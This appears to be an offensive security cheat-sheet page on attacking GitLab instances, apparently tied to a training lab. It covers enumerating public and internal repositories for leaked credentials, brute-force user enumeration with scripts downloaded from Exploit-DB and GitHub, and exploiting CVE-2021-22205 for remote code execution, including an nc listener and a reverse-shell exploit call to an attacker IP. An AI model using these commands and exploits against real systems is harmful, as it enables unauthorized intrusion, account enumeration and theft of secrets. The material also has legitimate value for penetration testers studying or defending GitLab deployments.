PRIMARY CATEGORY → WEB TECHNOLOGIES

Theory

Repository Types
  • Public Repositories

Anyone can access to them as they do not require any authentication

  • Internal Repositories

All authenticated users can access to them

  • Private Repositories

Access to them is limited to specific authenticated users

That said, a GITLAB instance can be configured to allow anyone to register and then login without any validation, so an operator could access any public repositories of the given company

Zoom in


Discovery | Footprinting

Detecting a Gitlab Instance
Login Page

We can quickly identify that a web application is a GITLAB instance as we will be redirected to its login page once we access the given URL

Zoom in

Gitlab Version
Help Page

The only way we have to list the version of the GITLAB instance we are dealing with is by browsing the /help page when logged in


Enumeration

Public Projects/Repositories

No authentication required

There is no much we can do against GITLAB without knowing the version number ( Public Exploits ) or being logged in

We can visit the /browse page to see if there is any existing public project that may contain something interesting such as credentials, SSH/API keys or any other type of sensitive information

Zoom in

Moreover, we should also check other sections such as groups, snippets or help and the search functionality that it has

Zoom in

Internal Repositories

Once we are done with the unauthenticated enumeration, we should try to register a new user account in the GITLAB instance, as it might not be configured to →

  • Only allow company emails to be registered
  • Require an admin to approve a new account

If not, just proceed with the account creation and log in to look for available internal repositories


User Enumeration

By default, GITLAB allows 10 failed login attempts before locking out the account for a certain period of time

The latter corresponds to 10 minutes

This behaviour can be modified by setting a different value to the following directives

config.maximum_attempts = 10
config.unlock_in = 10.minutes

In order to carry out a proper user enumeration of the GITLAB instance, we can leverage one of the following tools

Wordlists

Ref. I

Bash

Exploit-DB

Setup
curl --silent --location --request GET 'https://www.exploit-db.com/raw/49821' --output - | sed 's@\r@@g' > gitlab_userenum.bash
Usage
bash !$ --url '<TARGET>' --userlist '<USER_LIST>'
Python3

GitLabUserEnum

Setup
curl --silent --location --request GET 'https://github.com/dpgg101/GitLabUserEnum/raw/refs/heads/main/gitlab_userenum.py' --remote-name
Usage
python3 gitlab_userenum.py --url '<TARGET>' --wordlist '<USER_LIST>'

Code Execution

CVE-2021-22205

CVE-2021-22205

HackerOne

Affected Versions → GITLAB CE 13.10.2 and lower

In this case the vulnerability lies on GITLAB not properly validating image files that were passed to a file parser ( exiftool ) which resulted in an RCE

Authenticated

Reference

In order to exploit this security flaw, we can use the following exploit from ExploitDB

  • Setup
curl --silent --location --request GET 'https://www.exploit-db.com/raw/49951' --output CVE-2021-22205.py
python3 -m venv .venv
. !$/bin/activate && pip3 install bs4 requests
  • Usage
python3 !$ -u '<USER>' -p '<PASSWD>' -t '<TARGET_URL>' -c '<COMMAND>'
Unauthenticated

Reference

The same security flaw can be exploited from an unauthenticated perspective if we are not able to sign up in the GITLAB instance due to some limitations or security measures

In this case, we can proceed as follows

  • Setting up a TCP listener
nc -nlvp 443
  • Running the following Bash script
bash exploit.bash 'http://gitlab.inlanefreight.local:8081' '10.10.15.63' 1234